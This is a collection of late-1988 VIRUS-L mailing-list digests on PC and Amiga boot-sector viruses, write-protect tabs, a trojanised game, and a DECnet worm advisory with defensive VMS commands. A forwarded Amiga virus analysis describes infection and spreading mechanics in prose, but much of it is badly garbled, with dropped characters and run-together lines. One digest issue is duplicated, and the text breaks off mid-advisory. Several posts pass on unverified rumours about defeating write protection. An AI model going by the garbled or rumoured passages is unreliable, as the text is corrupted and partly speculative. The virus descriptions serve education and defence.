sent and detected on the same side of the disk via a reflector on the
other side, and if the write-protect tab itself is reflecting light,
then the detector might get an incorrect signal.

The solution, of course, is to use black non-reflecting write-protect
tabs, and to trust the hardware to do its job.

Let us all hope that this issue has been cleared up once and for all.
Thanks to everyone who helped out!]

------------------------------

Date:     Wed, 21 Dec 88 11:24:26 EST
From:     Jefferson Ogata (me!) <[e-mail]>
Subject:  virus in bad sectors of an unbootable floppy (PC)

There's no harm in a virus hanging out in "bad" sectors of an
unbootable, source-only floppy; the virus cannot be invoked.  Even if
an executable is copied to the disk later, it won't be linked with the
virus in any way.  All a virus can do by putting itself on bad sectors
is take up disk space, since nothing will ever read memory from those
sectors.  The only danger will be if the virus is also in the boot
block somehow.

If the disk is bootable, or has an infected executable, then either of
those programs could load the virus off the bad sectors.

I don't know the format of the boot record, but if IBM did things with
their customary stupidity, the OS loads a boot program off the block
and attempts to execute, regardless of whether there was a boot
program actually on the disk.  However, I give them credit for having
done something different, because if you try to boot a non-system
disk, it behaves in a predictable manner.  So either the formatter
puts a program on the boot block that prints the message: Non-system
disk, etc., or the OS looks at the boot record and sees that there's
no boot program there.

Putting an unfunctional boot program there would allow virus infection
of an unbootable diskette, since the virus could hook up to the boot
program.  Any time you did a warm boot, the virus would get executed
and then you'd see the non-system disk message.  This would have been
a stupid design decision for (among others) precisely this reason.

Having the OS check for a boot program is a tougher situation for the
virus.  In this case, there is a magic number or some other indication
of whether a program is residing on this block.  The OS checks this
indicator and performs accordingly.  A virus could still infect an
unbootable disk by jumping on the boot block and pretending it's a
boot program, but in order to be inconspicuous it would have to then
print out a non-system disk message and wait for the user to load a
new disk.  I haven't heard of any virus that does this.

So there are basically two scenarios:
1: the OS always loads and executes whatever is on the boot block; in
   this case, the formatter must always put a program in the boot
   block, or the computer would hang.
2: the OS checks what's on the boot block and then loads and executes
   it if there's something there.

In scenario 1 virus infection is pretty easy; in scenario 2, it requires
a more sophisticated virus.  Does anyone know which is the actual case
(or if I've missed something)?  Someone with a Technical Reference?

A corollary of scenario 2 is that if such a virus does not exist, there
is no danger in a virus inhabiting "bad" sectors of an unbootable,
source-only disk.

Some people have talked about doing low-level formats of their hard
disks in order to kill a virus.  I'm curious as to what ye believe the
difference is as far as virus infection is concerned.  Does a
bad-sector virus have some method of linking its lost segments back
into a file?  Whenever a new FAT is created, no file will ever use
those bad sectors unless a virus links them up again.  If the sectors
are recovered, their contents will be irrelevant.  Even if the
contents remain in an execut- able file, through a very unusual
procedure involving a copy program that opens its output file
read-write, the virus code will no longer be part of the code segment
of the executable.  And I don't think any such copy program exists
anyway.

So what is the thing with a low-level format that will destroy a virus
when a normal format won't?

- - Jeff Ogata

------------------------------

Date: 21 December 1988, 18:50:18 CET
From: Thomas Zielke             0441/798-3109        113355   at DOLUNI1
Subject: Problems with commercial software (PC)

We have recently heard from people having trouble formatting disks
on their MS-DOS-PCs. In fact their computers did not allow formatting,
reading or writing diskettes of any type. Some also reported that
some files or programmes residing on the harddisk were damaged or even
destroyed.
We have already found out that only those who had a copy of a game
called 'Leisure Suit Larry' installed on their disk were affected.
Actually, this game was to be found on some PCs at our Computer Center,
and the people in question 'just made a copy' of it.
Our problem now is: How can we get rid of that virus (at least, we
believe it to be one)? Has anybody heard of it and can help us
to solve our problem? I would be most glad to get some mail...

Yours truly
            Thomas Zielke (113355 at DOLUNI1)

- - we never ask for a wonder - we simply produce one -

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest             Thursday, 22 Dec 1988        Volume 1 : Issue 57

Today's Topics:
Dirty Dozen
Boot Sectors on IBM disks (PC)
Leisure Suit Larry 'virus' (PC)
BRAIN in the USSR (PC)
Re: Write Protect Gritch & You can't fool the... (PC)
Call for papers - 12th National Computer Security Conference
Amiga virus could survive warm boot

---------------------------------------------------------------------------

Date: Wed, 21 Dec 88 14:30:42 -0800
From: Steve Clancy <[e-mail]>
Subject: Dirty Dozen

Re: J.D. Abolins comment about beggining another Dirty Dozen list:

I was also quite a fan of the list, and have lost track of Eric
Newhouse.  Apparently he has dropped out of sight??  I would be most
willing to help work on such a list.  I have been collecting some
"badware" which mostly fall into the category of pirated software,
hacked software, or a very few legitamate trojan horses.  No viruses,
though.  I agreee that a more comprehensive, and perhaps broader
scoped list is needed.  And something that carries some authority with
it(???).  The Dirty Dozen tended to be circulated mostly around BBSes,
and microcomputer users, rather than in the corporate environment.

If anyone else, is interested in making efforts in this direction,
speak up, and perhaps we can put something together.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|   Steve Clancy                      |  WELLSPRING RBBS            |
|   Biomedical Library                |  714-856-7996  24 HRS       |
|   P.O. Box 19556                    |  300-9600 N,8,1             |
|   University of California, Irvine  |  714-856-5087  nites/wkends |
|   Irvine, CA  92713                 |  300-1200 N,8,1             |
|                                     |                             |
|   SLCLANCY@UCI                      |  "Are we having fun yet?"   |
|   [e-mail]         |                             |
|                                     |                             |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

------------------------------

Date:         Wed, 21 Dec 88 18:19:21 EST
From:         Steve <[e-mail]>
Subject:      Boot Sectors on IBM disks (PC)

   Regarding BOOT sectors and some of Homer Smith's questions:

   As Joe Simpson points out, all disks have a boot sector on them.
It is important to understand the functionality of the boot sector.
When you power up the computer, it immediately loads some instructions
from ROM and runs them.  Among other things (like doing some
self-checks), these instructions for example tell the computer to try
to read disk drive A: (depending upon your configuration of course).
If there is a formatted diskette present, then it loads the boot
sector and does *whatever* the boot sector tells it to, even if it's a
non-system diskette.

   All MSDOS-formatted disks have a boot sector containing
instructions, regardless of whether or not the diskette was formatted
with the system option (doubters, go look at the boot sector on a
non-bootable disk).  In fact, the boot sectors of system and
non-system diskettes are identical.  The difference between system and
non-system disks *for* *the* *IBM* *PC* is not in the boot sector, but
in the presence or absence of system files on the disk (that's easy to
check: just format a disk *without* the system option and then copy
the system files onto the disk and see if it works [Assuming that
you're running MSDOS, these files are ibmbio.com, ibmdos.com, and
command.com, the first two of which are *hidden*.].  It does.  Either
that or examine the boot sector bit for bit).  All the system option
does is tell the machine to copy these three files after formatting.
The directory, FAT, and sectoring get setup during the format (with
erasure of anything that may have been on the disk before formatting).

   The instructions found on the boot sector normally tell the
computer to go find certain system files on the disk, load them into
memory, and run them.  This is how DOS gets going.  If the system
files are not found, then an error message like "Non-system disk or
disk error Replace and strike any key when ready" is displayed and the
computer waits for you to respond.

   It should be clear that it would be very easy for a virus to put
instructions in the boot sector (regardless of what option was used
when formatting the disk) telling the computer (when booted) to go
find some virus file on the disk, load it into memory, and then go
back and excute the real boot sector (which was moved by the virus to
some other part of the disk), leaving many users none the wiser.  Even
if it's a non-system diskette, the computer doesn't know that (upon
booting) until it loads the boot sector and executes it and doesn't
find any system files (but if there is a boot virus present, the virus
gets run first before the "Non-system disk ..." message gets
displayed).  This is true regardless of whether the disk even has any
files on it.  A large virus may not be able to fit entirely in the
boot sector, but that's no problem; it can store instructions in good
sectors which it labels as "bad" (so that DOS won't overwrite them),
or in hidden files (which could be discovered).

   It should also be pointed out (as I'm sure it has been many times
on this list) that utilities such as DIR or FORMAT are programs and
can be infected with a virus (so just doing a DIR can infect any disks
you happen to have in any of your drives at that time).

   It would be a good idea to think about all this in the context of
real, known viruses, so I'm hoping somebody will be able to put
together a compilation of discriptions of all known viruses, variants,
and their characteristics.

Something about write tabs: We have a genuine 6MHz IBM PC AT which I
have discovered can write to the disk *if* the write tab is
transparent.

Steven C. Woronick      |  Disclaimer: These are my own opinions/ideas.
Physics Dept.           |        Always check things out for yourself...
SUNY at Stony Brook, NY |
Acknowledge-To: <XRAYSROK@SBCCVM>

------------------------------

Date: Wed, 21-Dec-88 19:26:29 PST
From: portal!cup.portal.com![e-mail]
Subject: Leisure Suit Larry 'virus' (PC)

     There was some discussion of this on the network where I work.
The consensus was that it is a Trojan, not a virus; it gets loaded
into memory when LSL is run, then remains and destroys things, but
does not copy itself to other programs, not even other copies of LSL.

Dan Hankins

------------------------------

Date:     Wed, 21 Dec 88 21:53:34 PST
From:     Robert Slade <[e-mail]>
Subject:  BRAIN in the USSR (PC)

     No one has cross posted it yet, but RISKS 7.96 has an article
about virus infection in the USSR.  They have, of course, developed
the ultimate anti virus program, the details of which remain a state
secret ...

     Also, 7.97 reports on an article which implies that virus
infections are one-in-a-million.

------------------------------

Date:         Wed, 21 Dec 88 17:47:57 EST
From:         "Christian J. Haller" <[e-mail]>
Subject:      Re: Write Protect Gritch & You can't fool the... (PC)

>Date: Wed, 21 Dec 88 09:43:09 EST
>From: Don Alvarez <[e-mail]>
>Subject: Write Protect Gritch
>    ...
>    I know Ken doesn't like people flaming on the list, so maybe I'll
>    get booted for saying this, but PLEASE, if somebody asks a question
>    which has a simple, yes or no answer, and you want to respond with
>    an nth generation rumor of unknown origin, keep it short...

I did my homework before I wrote my opinion.  I already knew about the
documented BIOS interrupt limitations.  There are undocumented BIOS
calls, and there are non-BIOS hardware calls.

When the PC was a baby, one or two software vendors (obscure ones) had
a copy protection scheme that involved writing something to their own
diskettes, whether write protected or not, on the user's machine.
Sorry, I don't remember the package.  Somebody noticed this and asked
IBM about it.  Of course it wasn't documented.  It wasn't DOS or BIOS.
The answer was no, it couldn't be done, but the fact remained that it
was being done, and eventually, informally, not for attribution, quietly,
those who were asking got word that it could be done, in software.
The technique was not part of the answer.  I have no proof.  It may
have been an undocumented feature of the early diskette drives, long
ago de-featured.  I don't know.  But the facts of the case seemed clear
at the time, and that was the basis for my position that write protect
tabs are not certain protection on a PC.

>Date: Wed, 21 Dec 88 11:40 EST
>From: X-=*REB*=-X <[e-mail]>
>Subject: You can't fool the write protect line w/software (PC)
>
>According to the  circut diagram  from IBM for  IBM  5.25"  diskette
>drives...
>  . . .       Thus, all the talk recently of this
>being controlled by software is incorrect.
>
>Richard Baum & John Hunt
>[Ed. Thanks guys!  The only possible weak link then would be a
>malfunctioning write-protect sensor (normally an optic sensor, I
>believe).

Nope, it's mechanical in IBM PC's.
Yes, thanks guys.  I do appreciate the research.  I am almost but not
quite convinced that the unattributable IBM source I mentioned above
was wrong, or that newer drives are indeed absolutely hardware protected.
The only remaining loopholes are in Len Levine's not-yet-conclusive
research (see his V1 #54 contribution) that disk controller ROM is loaded
into RAM at boot time.  You could tweak it as you liked, then!  You could
prevent it from being reloaded, you could change the logic states.
In short, you could lie to the disk controller about the write protect
status.  It is possible that the hardware protection is absolute, but
I agree with Len Levine that the question is still open, and I for one
would never trust an IBM Tech Ref manual to tell the whole story.  I've
been living with those suckers for about seven years, and they get less
informative every year.

- -Chris Haller
Acknowledge-To: <CJH@CORNELLA>

------------------------------

Date:  Wed, 21 Dec 88 23:15 EST
From: Jack Holleran <[e-mail]>
Subject:  Call for papers - 12th National Computer Security Conference

************************************************************************
*                     CALL  FOR  PAPERS                                *
************************************************************************

                           12th
          NATIONAL  COMPUTER  SECURITY  CONFERENCE
    Sponsored by the National Computer Security Center and
      the National Institute of Standards and Technology

              Information Systems Security:
       Solutions for Today - Concepts for Tomorrow

                   10-13 OCTOBER 1989
              BALTIMORE  CONVENTION  CENTER
                  BALTIMORE,  MARYLAND

This conference provides a forum for the Government and the private sector
to share information on technologies, present and future, that are designed
to meet the ever-growing challenge of telecommunications and automated
information systems security .  The conference will offer multiple tracks
for the needs of users, vendors, and the research and development
communities.  The focus of the conference will be on:  Systems Application
Guidance,  Security Education and Training, Evaluation and Certification,
Innovations and New Products, Management and Administration, and Disaster
Prevention and Recovery.  We encourage submission of papers on the following
topics of high interest:

Systems Application Guidance         Innovations and New Products
   - Access Control Strategies         - Approved/Endorsed Products
   - Achieving Network Security        - Audit Reduction Tools and Techniques
   - Building on Trusted Computing     - Biometric Authentication
      Bases                            - Data Base Security
   - Integrating INFOSEC into Systems  - Personal Identification and
   - Securing Heterogeneous Networks      Authentication
   - Secure Architectures              - Smart Card Applications
   - Small Systems Security            - Tools and Technology

Disaster Prevention and Recovery     Management and Administration
   - Assurance of Service              - Accrediting Information Systems
   - Computer Viruses                     and Networks
   - Contingency Planning              - Defining and Specifying Computer
   - Disaster Recovery                    Security Requirements
   - Malicious Code                    - Ethics and Social Issues
   - Survivability                     - Life Cycle Management
   - Managing Risk                     - Role of Standards

Evaluation and Certification         Security Education and Training
- - Assurance and Analytic Techniques    - Building Security Awareness
- - Covert Channel Analysis              - Keeping Security In Step With
- - Conducting Security Evaluations         Technology
- - Experiences in Applying              - Policies, Standards, and Guidelines
   Verification Techniques             - Preparing Security Plans
- - Formal Policy Models
- - Understanding the Threat


BY FEBRUARY 17, 1989: Send five copies of your draft paper* to one of the
                      following addresses.  Include the topical category of
                      your paper, author('s) name, address, and telephone
                      number on the cover sheet only.

 1.  FOR PAPERS SENT VIA   Computer Security Conference
     U.S. MAIL ONLY:       ATTN:  Carolyn Copsey, C2
                           National Computer Security Center
                           Fort George G. Meade, MD 20755-6000

 2.  FOR PAPERS SENT VIA   Computer Security Conference
     COURIER SERVICES      c/o Carolyn Copsey, ATTN:  C2
     (FEDERAL EXPRESS,     National Computer Security Center
     OVERNIGHT EXPRESS,    911 Elkridge Landing Road
     EMERY, UPS, etc.):    Linthicum, MD  21090


 3.  VIA E-MAIL:           [e-mail]   (1 copy only)


BY MAY 12, 1989:   Speakers selected to participate in the conference will be
                   notified.

BY JUNE 30, 1989:  Final, camera-ready papers are due.


* Government employees or those under Government sponsorship must so
   identify their papers.

For additional information, please call Carolyn Copsey at [phone].
Queries may also be sent to [e-mail] via e-mail.

------------------------------

Date: Wed, 21 Dec 88 14:15:38 -0800
From: Steve Clancy <[e-mail]>
Subject: Amiga virus could survive warm boot

After reading the discussions regarding viruses that can support a
warm boot, I remembered some material I had seen a few months ago
regarding Amiga microcomputer viruses that did the same thing.  Here
are some of the messages from back then that were gleaned from
compuserve and Amiga BBSes.


 Article 10437 of 10516, Fri 11:32.
 Subject: Amiga VIRUS
 From: [e-mail] (Bill Koester CATS)
 Date: 13 Nov 87 19:32:05 GMT

         THE AMIGA VIRUS - Bill Koester (CATS)

When I first got a copy of the Amiga VIRUS I was interested to
see how such a program worked. I dissassembled the code to a disk
file and hand commented it. This article will try to pass on some
of the things I have learned through my efforts.

                  1) Definition.
                  2) Dangers.
                  3) Mechanics
                  4) Prevention

1. - Definition.
- ----------------

The Amiga VIRUS is simply a modification of the boot block of an
existing DOS boot disk. Any disk that can be used to boot the
Amiga (ie workbench) has a reserved area called the boot block.
On an Amiga floppy the bootblock consists of the first two
sectors on the disk. Each sector is 512 bytes long so the boot
block contains 1024 bytes. When KickStart is bringing up the
system the disk in drive 0 is checked to see if it is a valid DOS
boot disk. If it is, the first two sectors on the disk are loaded
into memory and executed. The boot block normally contains a
small bit of code that loads and initializes the DOS. If not for
this BOOT CODE you would never see the initial CLI. The normal
BOOT CODE is very small and does nothing but call the DOS
initialization. Therefore, on a normal DOS boot disk there is
plenty of room left unused in the BOOT BLOCK.

The VIRUS is a replacement for the normal DOS BOOT CODE. In
addition to performing the normal DOS startup the VIRUS contains
code for displaying the VIRUS message and infecting other disks.
Once the machine is booted from an infected disk the VIRUS
remains in memory even after a warm start. Once the VIRUS is
memory resident the warm start routine is affected, instead of
going through the normal startup the VIRUS checks the boot disk
in drive 0 for itself. If the VIRUS in memory sees that the boot
block is not infected it copies itself into the boot block
overwriting any code that was there before. It is in this manner
that the VIRUS propagates from one disk to another. After a
certain number of disks have been infected the VIRUS will print a
message telling you that Something wonderful has happened.


2. - Dangers.
- -------------

When the VIRUS infects a disk the existing boot block is
overwritten. Since some commercial software packages and
especially games store special information in the boot block the
VIRUS could damage these disks. When the boot block is written
with the VIRUS, any special information is lost forever. If it
was your only copy of the game then you are out of luck and
probably quite angry!!

3. - Mechanics.
- ---------------

Here is a more detailed description of what the virus does. This
is intended to be used for learning and understanding ONLY!! It
is not the authors intention that this description be used to
create any new strains of the VIRUS. What may have once been an
innocent hack has turned into a destructive pain in the #$@ for
many people. Lets not make it any worse!!

   a.)   Infiltration.

This is the first stage of viral infection. The machine is
brought up normally by reading the boot block into memory. When
control is transferred to the boot block code, the virus code
immediately copies the entire boot block to $7EC00, it then JSR's
to the copied code to wedge into the CoolCapture vector. Once
wedged in, control returns to the loaded boot block which
performs the normal dos i the system.

   b.)   Hiding Out.

At this point the syem CoolCapture vector has been replaced and
points to code thin the virus. When control is routed through
the CoolCapte vector the virus first checks for the left mouse
button,  it is down the virus clears the CoolCapture wedge and
retuns to the system. If the left mouse button is not pressed
t virus replaces the DoIO code with its own version of DoIO a
returns to the system.

   c.)   Spreading.

The code far has been concerned only with making sure that at
any gin time the DoIO vector points to virus code. This is
where e real action takes place. On every call to DoIO the
virus hecks the io_Length field of the IOB if this length is
equato 1024 bytes then it could possibly be a request to read
t in the strap code and this is a boot
block read request. Inot installed. If we
are reading the boot block we JSR to te old DoIO code to read
the boot block and then control retrns to us. After reading, the
checksum for the virus boot bk is
already infected so just return. If they are not equala counter
is incremented and the copy of the virus at $7EC0is written to
the boot block on the disk. If the counter ANed with $F is equal
to 0 then a rastport and bitmap are conected by a VIRUS >
< Another masterpiece of the Mega-MightySCA >

4. - Prevention.
- ----------------

How do you otect yourself from the virus?

1) Never warm start the machine, always power down first. (works
but not to practical!)

2) Always hold down the left mouse button when rebooting. (Also
works, but only because the VIRUS code checks for
                                                 3) Obtain a copy of VCheck1.1 d
into the public domain. VCheck.1 was posted to usnet and will
also be posted to BIX. ( Jut like the real thing the best course
of action is educatio and prevention!)

- ----
AMIGA ZONE       Sec: 2
Theme:WARNING!!  AMIGA VIRUS ON THE
To:    BEARDLOVER      By:  BARDLOVER
Date:  10/09/87  3:42  Num: 16,622
Title: R#16606HERE'S THE INFO!
- ----

Received: by MAINE (Mailer X1.24iscussion" <CSNEWS@MAINE>
To:       7GMADISO@POMONA
Date:    Tue, 6 Oct 1987 10:42 EDT


From: SLCLANCY@UCI
Newsgrups: comp.sys.amiga
Subject: IMPORTANT WARNING ... Amiga Vius Loose ... PLEASE READ
Message-ID: <[e-mail]>
Date: 4 Oct 87 13:24:48 GMT
Organization: Amdahl Corporation,  Sunnyvale, CA 94086
Lines: 190
Keywords: virus trojan worm program infected disk

[ Some days you eat the lke we've been spared such crap until now, but this higg
notice shows we are not immune to attacks on our machines by the "Dark Side
of the Force"!

Any further inforation on this (or other such nastiness) would be greatly
appreciated!

Doc, if you are reading this, *please* post the Sectorama program that I
emailed you several weeks ago ASAP!

/kim



The following is a thread from Compuserve:

=========================================================================

#: 87294 S3/Hot News & Rumors
    02-ct-87  02:41:08
Sb: #WARNING! Virus loose!
Fm: Larry Phillre are a variety of programs
that are variously known as Trjan Horses, Bombs, and Viruses. While Bombs
are generally destructive (as evidenced by their name), and Trojan Horses
re either destructive or for the purpose of theft of data, Viruses have
been known to be benign or malignant both. A Vive it may or may not be, it will
                                                                               n
infected disk. All works normally, with no sign tt the machine with the CTRL-Amn
uninfeted disk, the virus is transferred to the boot disk, and it oo
becomes a "carrier", ready to pass it on, and so on.

The presence of the virus can be detected by looking at block 1 on a disk.
Normally, this will have random data or a pattern of data in it, but you
will be able to see the virus tor 1). If the virus is present, run INSTALL on tL
will rewrite sectors 0 and 1, killing the virus. Then's power. If you have bootn
infected disk, and havect the disk.

There have been a couple of reports of a mewas trashed by the virus. The messag:
"Something wondesame message that appears in block 1 of an infected disk.

Watch for it... stomp it out.

Regards, Larry.


#: 87306 S3/Hot News & Rumors
    02-Oct-87  04:43:21
Sb: #8729ni 73260,1413
To: Larry Phillips/SYSOP 76703,4322 (X)

Lart, but I thought that re-booting the
system was supposed tirus be
transmited?

     Also, should someone without the ability to look at a disk in the way
you suggested run across this message will a cold reboot solve the problem
(so gain)? Will initalizing an
"infected" disk (after a cold boot) remove the infection? (along with anything
else on the u think that this message is important enough
to go at the head of the forum-so that you see it when you enter the foruot onlo
aTRL-Amiga-Amiga). The virus
itself is contained in the "boohen you reboot with an
uninfected disk, the virus writes it infecting it as well.

  A cold reboot (power off, power on) will indeed remove it from the
memory. The problem is, is infected before you would think to go through
this procedure.

  As for looking at the disk to determine if the virus is there, the
program to use is "Sectorama", which is in DL 9 as SEC.ARC. Perhaps
someone will come up with a program that will detect and kill the virus,
giving you a warning at the same time.

  I do think it's important, and we will probably put it into one of the
Data Libraries and mention it in the short bulletin which everyone will
see upon entry to the forum.

Regards, Larry.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|   Steve Clancy                      |  WELLSPRING RBBS            |
|   Biomedical Library                |  714-856-7996  24 HRS       |
|   P.O. Box 19556                    |  300-9600 N,8,1             |
|   University of California, Irvine  |  714-856-5087  nites/wkends |
|   Irvine, CA  92713                 |  300-1200 N,8,1             |
|                                     |                             |
|   SLCLANCY@UCI                      |  "Are we having fun yet?"   |
|   [e-mail]         |         -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--------------------------virus-l


VIRUS-L Digest             Thursday, 22 Dec 1988        Volume 1 : Issue 58

Today's Topics:
Brain surviving warm boot (PC)
RE: FORMAT command (PC)

---------------------------------------------------------------------------

Date:         Thu, 22 Dec 88 8:50 EST
From:         Don Kazem <[e-mail]>
Subject:      Brain surviving warm boot (PC)

I first brought up this issue about the Brain Virus being able to
sustain itself even after a warm boot and it being able to write to a
write protected disk. These were my findings and I posted them to the
list. As far as I am concerned they were accurate.

To do away with all the flames, I have requsitioned another dual
floppy machine (the same as the one used in my first test). I will
repeat the tests that yielded such controversial results and will
post the results back to the list.  Until then please hold on to your
flames.

          Don Kazem
          National Academy of Sciences
          [e-mail]

------------------------------

Date: Thu, 22 Dec 88 09:04 MST
From: [e-mail]
Subject: RE: FORMAT command (PC)

To Homer re FORMAT...regarding your hard disk low level format, what
kind of computer did you say you have?  Did you say your computer
supported a hard- disk?

The DOS FORMAT command does NOT destroy data on the disk.  It wipes
out the FAT, which is kind of like the card catalog and releases all
locations so that they can be written over.  If you use NORTON
utilities or something similar, you will see on a disk that had data
on it and was FORMATted, that the items in the root directory can be
listed, only with '?' in place of the first character.  These items
can then be restored, since the directory listing also gives the 1st
sector or cluster location.  If the files are contiguous they can be
saved.  All this means that a virus residing in the data area will not
be erased, but it isn't safe either, unless other factors are
implemented.  I think that during the FORMAT, DOS will skip over areas
deemed bad during the low level format.  Presumably a virus could lock
out these sectors so that they could be used for the virus's purposes.

Allen

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 22 Dec 1988        Volume 1 : Issue 58

Today's Topics:
Brain surviving warm boot (PC)
RE: FORMAT command (PC)

---------------------------------------------------------------------------

Date:         Thu, 22 Dec 88 8:50 EST
From:         Don Kazem <[e-mail]>
Subject:      Brain surviving warm boot (PC)

I first brought up this issue about the Brain Virus being able to
sustain itself even after a warm boot and it being able to write to a
write protected disk. These were my findings and I posted them to the
list. As far as I am concerned they were accurate.

To do away with all the flames, I have requsitioned another dual
floppy machine (the same as the one used in my first test). I will
repeat the tests that yielded such controversial results and will
post the results back to the list.  Until then please hold on to your
flames.

          Don Kazem
          National Academy of Sciences
          [e-mail]

------------------------------

Date: Thu, 22 Dec 88 09:04 MST
From: [e-mail]
Subject: RE: FORMAT command (PC)

To Homer re FORMAT...regarding your hard disk low level format, what
kind of computer did you say you have?  Did you say your computer
supported a hard- disk?

The DOS FORMAT command does NOT destroy data on the disk.  It wipes
out the FAT, which is kind of like the card catalog and releases all
locations so that they can be written over.  If you use NORTON
utilities or something similar, you will see on a disk that had data
on it and was FORMATted, that the items in the root directory can be
listed, only with '?' in place of the first character.  These items
can then be restored, since the directory listing also gives the 1st
sector or cluster location.  If the files are contiguous they can be
saved.  All this means that a virus residing in the data area will not
be erased, but it isn't safe either, unless other factors are
implemented.  I think that during the FORMAT, DOS will skip over areas
deemed bad during the low level format.  Presumably a virus could lock
out these sectors so that they could be used for the virus's purposes.

Allen

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 29 Dec 1988        Volume 1 : Issue 59a

Today's Topics:
UUDECODE source available (PC?)
debrain.uue
Virus @ lockheed?
More on the virus...
nVIR 10 - A Correction (Mac)
VIRUS WARNING: DECNET Worm (forwarded from VALERT-L)
Formatting disks (PC)

---------------------------------------------------------------------------

Date:         Fri, 23 Dec 88 12:51:53 EDT
From:         Jean <[e-mail]>
Subject:      UUDECODE source available (PC?)
To:           VIRUS-L@LEHIIBM1

Well I finally have an answer for those who need UUDECODE to create
the files they request in .UUE format. I just sent the files to Ken and
hope he puts them up on the LISTSERV.

I now have a BASIC program with PURE ASCII data statements that creates
UUDECODE.EXE and guess what? It works fine.

If you cant wait for Ken to get it on the LISTSERV, send me a short
MAIL request saying you want the UUDECODE PACKAGE and I'll file send it
to you.

If you have BITRCV, let me know and I'll Bitsend them which is faster.
If you want BITRCV, let me know as well.

------------------------------

Date:         Fri, 23 Dec 88 14:03:09 EDT
From:         [e-mail]
Subject:      debrain.uue
To:           VIRUS-L@LEHIIBM1

If anyone has debrain.uue could they please send it to me?

We finally got uudecode working properly and now we need debrain.uue

Thank you.

------------------------------


Date: Fri, 23 Dec 88 15:17:39 EST
From: [e-mail] (Michael F. Angelo)
Subject: Virus @ lockheed?

I just got a call from one of my friends, and he said that Lockheed
has pulled itself from the internet, due to a virus / hacker.  Does
anyone out there know anything about this?

ps.  It supposedly affected there vms machine?

------------------------------

Date:         Fri, 23 Dec 88 15:30:22 EST
From:         Joe McMahon <[e-mail]>
Subject:      nVIR 10 - A Correction (Mac)

I just received a note from Matthias Urlichs, who tells me that nVIR 10
merely DEACTIVATES the nVIR virus, it does not kill it.

I suppose it's like a DNA suppressor, rather than an antibody.

Sorry if I have caused anyone inconvenience. The nVIR Vaccine program
in the NVIRVACC SITHQX file should still be used to remove nVIR from
applications, and the manual procedure mentioned in the ANTI-VIR
SITHQX stack can be used to clean systems.

I have been receiving a LOT of nVIR removal software lately; I haven't
had time to review it yet. I will be doing so and adding the ones I find
best address the problem to our LISTSERV after January 1.

Happy holidays, all.

- --- Joe M.

------------------------------

Date:         Fri, 23 Dec 88 19:54:27 est
Sender: Virus Alert List <[e-mail]>
From: lecgwy![e-mail]
Subject:      VIRUS WARNING: DECNET Worm (forwarded from VALERT-L)

The following information relates to the DECNET worm which
hit the HEPNET and infects DEC VMS systems.

Note that in addition to the information presented here, the possibility
exists that a non-HEPNET system may have been infected.  You should
check your system for a file by the name of HI.COM, and a process
running with the name MAIL_178DC.  If you find either of them, your
system more than likely has been infected.  Read on for further
background, as well as a more thorough explanation.

Thanks to Ed DeHart at CERT, Fred Ostapik at ARPA-NIC, and all others
who helped assemble this information.

- ---
Marty Lyons, Lockheed Electronics Company, 1501 U.S. Highway 22,
CS #1, M/S 147, Plainfield, N.J. 07061-1501 [phone] x3156
[e-mail] or [e-mail]

Worm-fix distribution list:
  CERT, CMU ([e-mail])
  John Wagner, Princeton ([e-mail], [e-mail])
  Chris Tengi, Princeton ([e-mail])
  Nick Cardo, JVNC Supercompuer Center ([e-mail])
  Chuck Hedrick, Rutgers ([e-mail])
  Steve Keeton, NJIT ([e-mail])
  Seldon Ball, Cornell ([e-mail])
  Nick Gimbrone, Cornell ([e-mail])
  Sandi Ivano, Yale (???)
  Anio Khullar, CUNY Graduate Center ([e-mail])
  Shakil Khan, CUNY Queens College ([e-mail])
  Meredith Coombs, Stevens Tech (???)
  Ken Ng, NJIT ([e-mail])
  Dave Capshaw, Lockheed-Austin ([e-mail])
  Marty Lyons, Lockheed Electronics ([e-mail])
  Randi Robinson, CUNY ([e-mail])
  BITNET Laison Distribution List ([e-mail])
  BITNET Linkfail List ([e-mail])
  BITNET Virus Alert List ([e-mail])
  UUCP/Stargate Announcements ([e-mail])

> From rutgers!sei.cmu.edu!ecd Fri Dec 23 17:59:18 1988
> Received: from ED.SEI.CMU.EDU by rutgers.edu (5.59/RU-1.2/3.02)
> id AA18876; Fri, 23 Dec 88 17:47:30 EST
> Received: by ed.sei.cmu.edu (5.54/2.3)
> id AA08030; Fri, 23 Dec 88 17:28:48 EST
> Date: Fri, 23 Dec 88 17:28:48 EST
> Message-Id: <[e-mail]>
> To: lecgwy!lyons, [e-mail]
> Subject: Re:  NASA Virus

The following information has been provided by one of the VMS experts
on the Internet.  Due to the holidays,  the CERT has not been able to
verify the information.  If you do verify the information please let
us know.

Thanks,
Ed DeHart
Software Engineering Institute / Computer Emergency Response Team
[e-mail]
412-268-7090
=======================================================================

There is a worm loose on NASA's SPAN/DoE's HEPNET network, which is an
international DECnet-based network.  The worm targets VMS machines, and
can only be propagated via DECnet.

The worm itself appears to be benign, in that it does not destroy files
or compromise the system.  It's purpose appears to be to deliver a
Christmas message to users starting at midnight on 24 Dec 1988.  It
does have a hook in it to monitor it's progress;  it mails a message
back to a specific node (20.117, user PHSOLIDE) containing an identifying
string of the "infected" machine.

The worm exploits two features of DECnet/VMS in order to propagate itself.
The first is the default DECnet account, which is a facility for users who
don't have a specific login ID for a machine to have some degree of
anonymous access.  It uses the default DECnet account to copy itself to a
machine, and then uses the "TASK 0" feature of DECnet to invoke the remote
copy.

There are several steps which you can take to protect yourself from this
kind of attack.  The easiest (and most restrictive) is to disable the
default DECnet account on your machine altogether.  This can be done with
the following commands from the SYSTEM or other suitably privileged account:

        $ Run SYS$SYSTEM:NCP
        Purge Executor Nonprivileged User Account Password
        Clear Executor Nonprivileged User Account Password
        ^Z

This requires that everyone who accesses your resources via DECnet to have
a legitimate login ID or proxy login account on your machine (proxy logins
are discussed in detail in chapter 7 of the _Guide to VMS System Security_,
see below).

You can take less restrictive steps to protect your machine while still
